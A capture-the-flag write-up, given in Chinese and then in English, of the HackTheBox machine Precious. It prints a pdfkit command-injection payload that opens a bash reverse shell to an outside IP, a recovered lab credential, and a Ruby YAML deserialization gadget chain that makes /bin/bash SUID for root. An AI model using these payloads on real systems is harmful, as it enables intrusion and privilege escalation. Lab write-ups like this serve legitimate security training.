HackTheBox Precious Writeup

HackTheBox Precious 是一台简单难度的 Linux 机器。本文按照信息收集、初始访问、横向或提权路径的顺序整理完整解题过程,突出关键漏洞点、凭据来源与最终拿到 user/root 或域权限的利用链。

htb precious

Information Gathering

# Nmap 7.98 scan initiated Wed Dec 31 07:15:30 2025 as: /usr/lib/nmap/nmap -sC -sV -v -O -oN nmap_result.txt 10.10.11.189
Nmap scan report for 10.10.11.189
Host is up (0.12s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 84:5e:13:a8:e3:1e:20:66:1d:23:55:50:f6:30:47:d2 (RSA)
|   256 a2:ef:7b:96:65:ce:41:61:c4:67:ee:4e:96:c7:c8:92 (ECDSA)
|_  256 33:05:3d:cd:7a:b7:98:45:82:39:e7:ae:3c:91:a6:58 (ED25519)
80/tcp open  http    nginx 1.18.0
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://precious.htb/
|_http-server-header: nginx/1.18.0
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Uptime guess: 31.799 days (since Sat Nov 29 12:04:56 2025)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Dec 31 07:15:45 2025 -- 1 IP address (1 host up) scanned in 14.69 seconds

Vulnerability Analysis

通过burpsuite我们得知web的Server: nginx/1.18.0 + Phusion Passenger(R) 6.0.15,X-Runtime: Ruby

在本地搭建网址环境

  Precious www
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.189 - - [31/Dec/2025 07:31:32] "GET / HTTP/1.1" 200 -
^C
Keyboard interrupt received, exiting.

就可以得到一个文件

  Precious exiftool 2a4j9rpsza3l5v889p6wadg649q4qdzk.pdf
ExifTool Version Number         : 13.36
File Name                       : 2a4j9rpsza3l5v889p6wadg649q4qdzk.pdf
Directory                       : .
File Size                       : 18 kB
File Modification Date/Time     : 2025:12:31 07:31:33+00:00
File Access Date/Time           : 2025:12:31 07:31:34+00:00
File Inode Change Date/Time     : 2025:12:31 07:31:59+00:00
File Permissions                : -rw-rw-r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.4
Linearized                      : No
Page Count                      : 1
Creator                         : Generated by pdfkit v0.8.6

发现ruby库使用的是pdfkit v0.8.6

Exploitation (User Flag)

根据搜索可知CVE-2022-25765

假设后端是

kit = PDFKit.new(url)
kit.to_file("output.pdf")

当使用PDFKit它实际上是在后台拼接了一串 Shell 命令,然后调用系统的 wkhtmltopdf 去执行任务。

wkhtmltopdf http://10.10.14.5/?name= sleep 5 output.pdf

所以构造payload

http://10.10.16.3/?name= `bash -c 'bash -i >& /dev/tcp/10.10.16.3/4444 0>&1'`

输入到网站即可获取shell

在主目录/home/ruby/.bundle/config中寻找到henry:Q3c1AqGHtoI0aXAYFH

Privilege Escalation (Root Flag)

henry@precious:/tmp$ sudo -l
Matching Defaults entries for henry on precious:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
henry@precious:/tmp$ /usr/bin/ruby /opt/update_dependencies.rb
Traceback (most recent call last):
	2: from /opt/update_dependencies.rb:17:in `<main>'
	1: from /opt/update_dependencies.rb:10:in `list_from_file'
/opt/update_dependencies.rb:10:in `read': No such file or directory @ rb_sysopen - dependencies.yml (Errno::ENOENT)
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end

可以看到运行此程序会在当前目录下检查是否含有dependencies.yml文件

致命漏洞:YAML.load,在 Ruby 中,YAML.load 是不安全的。它不仅仅是“读取文本数据”,它会实例化 YAML 数据中描述的任何 Ruby 类/对象。

攻击原理:

  1. 如果你在 dependencies.yml 中构造了一个特殊的 Ruby 对象结构(这就叫“序列化数据”)。
  2. 当脚本运行到 YAML.load 时,它会尝试在内存中把这个对象“复活”(反序列化)。
  3. 在这个“复活”的过程中,如果对象里包含某些特定的链式调用(Gadget Chain),Ruby 就会被迫执行系统命令。

通过此文章得到如何构造这个yaml

henry@precious:/tmp$ ruby -v
ruby 2.7.4p191 (2021-07-07 revision a21a3b7d23) [x86_64-linux-gnu]

所以使用

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:      # 伪装成Gem依赖需求
    !ruby/object:Gem::Package::TarReader # 让TarReader 以为自己在读一个压缩包
    io: &1 !ruby/object:Net::BufferedIO  # 核心触发器
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter  # BufferedIO的特性debug_output,调试信息打印出来
         socket: &1 !ruby/object:Gem::RequestSet  # 告诉ruby,要打印调试信息,就调用socket
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'  # 告诉ruby,socket对象其实是Kernel
                 method_id: :system # 告诉ruby,调用的方法名:system
             git_set: id   # 执行的命令
         method_id: :resolve 

payload

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader 
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: chmod u+s /binbash
         method_id: :resolve 
henry@precious:/tmp$ nano dependencies.yml
henry@precious:/tmp$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
Traceback (most recent call last):
	33: from /opt/update_dependencies.rb:17:in `<main>'
	32: from /opt/update_dependencies.rb:10:in `list_from_file'
	....
	.....
henry@precious:/tmp$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1234376 Mar 27  2022 /bin/bash
henry@precious:/tmp$ /bin/bash -p
bash-5.1# id
uid=1000(henry) gid=1000(henry) euid=0(root) groups=1000(henry)
bash-5.1# cat /root/root.txt
5554b7e3cfe48a17bd1410159017f801

Lessons Learned

HTB precious

Information Gathering

# Nmap 7.98 scan initiated Wed Dec 31 07:15:30 2025 as: /usr/lib/nmap/nmap -sC -sV -v -O -oN nmap_result.txt 10.10.11.189
Nmap scan report for 10.10.11.189
Host is up (0.12s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 84:5e:13:a8:e3:1e:20:66:1d:23:55:50:f6:30:47:d2 (RSA)
|   256 a2:ef:7b:96:65:ce:41:61:c4:67:ee:4e:96:c7:c8:92 (ECDSA)
|_  256 33:05:3d:cd:7a:b7:98:45:82:39:e7:ae:3c:91:a6:58 (ED25519)
80/tcp open  http    nginx 1.18.0
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://precious.htb/
|_http-server-header: nginx/1.18.0
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Uptime guess: 31.799 days (since Sat Nov 29 12:04:56 2025)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Dec 31 07:15:45 2025 -- 1 IP address (1 host up) scanned in 14.69 seconds

Vulnerability Analysis

Through Burp Suite, we learn the web server header is: nginx/1.18.0 + Phusion Passenger(R) 6.0.15, with X-Runtime: Ruby.

Setting up a local website environment.

  Precious www
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.189 - - [31/Dec/2025 07:31:32] "GET / HTTP/1.1" 200 -
^C
Keyboard interrupt received, exiting.

This yields a file.

  Precious exiftool 2a4j9rpsza3l5v889p6wadg649q4qdzk.pdf
ExifTool Version Number         : 13.36
File Name                       : 2a4j9rpsza3l5v889p6wadg649q4qdzk.pdf
Directory                       : .
File Size                       : 18 kB
File Modification Date/Time     : 2025:12:31 07:31:33+00:00
File Access Date/Time           : 2025:12:31 07:31:34+00:00
File Inode Change Date/Time     : 2025:12:31 07:31:59+00:00
File Permissions                : -rw-rw-r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.4
Linearized                      : No
Page Count                      : 1
Creator                         : Generated by pdfkit v0.8.6

We discover the Ruby library used is pdfkit v0.8.6.

Exploitation (User Flag)

Based on search, we find CVE-2022-25765.

Assume the backend code is:

kit = PDFKit.new(url)
kit.to_file("output.pdf")

When using PDFKit, it actually constructs a shell command in the background and then calls the system’s wkhtmltopdf to execute the task.

wkhtmltopdf http://10.10.14.5/?name= sleep 5 output.pdf

So we construct the payload:

http://10.10.16.3/?name= `bash -c 'bash -i >& /dev/tcp/10.10.16.3/4444 0>&1'`

Enter this into the website to obtain a shell.

In the home directory /home/ruby/.bundle/config, we find henry:Q3c1AqGHtoI0aXAYFH.

Privilege Escalation (Root Flag)

henry@precious:/tmp$ sudo -l
Matching Defaults entries for henry on precious:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
henry@precious:/tmp$ /usr/bin/ruby /opt/update_dependencies.rb
Traceback (most recent call last):
	2: from /opt/update_dependencies.rb:17:in `<main>'
	1: from /opt/update_dependencies.rb:10:in `list_from_file'
/opt/update_dependencies.rb:10:in `read': No such file or directory @ rb_sysopen - dependencies.yml (Errno::ENOENT)
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end

We can see this program checks if a dependencies.yml file exists in the current directory.

The critical vulnerability is YAML.load. In Ruby, YAML.load is insecure. It doesn’t just “read text data”; it will instantiate any Ruby class/object described in the YAML data.

Attack Principle:

  1. If you construct a special Ruby object structure in dependencies.yml (this is called “serialized data”).
  2. When the script executes YAML.load, it attempts to “resurrect” (deserialize) this object in memory.
  3. During this “resurrection” process, if the object contains certain specific chained calls (Gadget Chain), Ruby is forced to execute system commands.

From this article, we learn how to construct this YAML.

henry@precious:/tmp$ ruby -v
ruby 2.7.4p191 (2021-07-07 revision a21a3b7d23) [x86_64-linux-gnu]

So we use:

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:      # Disguised as a Gem dependency requirement
    !ruby/object:Gem::Package::TarReader # Make TarReader think it's reading an archive
    io: &1 !ruby/object:Net::BufferedIO  # Core trigger
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter  # BufferedIO's debug_output feature prints debug info
         socket: &1 !ruby/object:Gem::RequestSet  # Tell Ruby to call socket when printing debug info
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'  # Tell Ruby the socket object is actually Kernel
                 method_id: :system # Tell Ruby the method name to call is :system
             git_set: id   # The command to execute
         method_id: :resolve 

Payload:

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader 
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: chmod u+s /bin/bash
         method_id: :resolve 
henry@precious:/tmp$ nano dependencies.yml
henry@precious:/tmp$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
Traceback (most recent call last):
	33: from /opt/update_dependencies.rb:17:in `<main>'
	32: from /opt/update_dependencies.rb:10:in `list_from_file'
	....
	.....
henry@precious:/tmp$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1234376 Mar 27  2022 /bin/bash
henry@precious:/tmp$ /bin/bash -p
bash-5.1# id
uid=1000(henry) gid=1000(henry) euid=0(root) groups=1000(henry)
bash-5.1# cat /root/root.txt
5554b7e3cfe48a17bd1410159017f801

Lessons Learned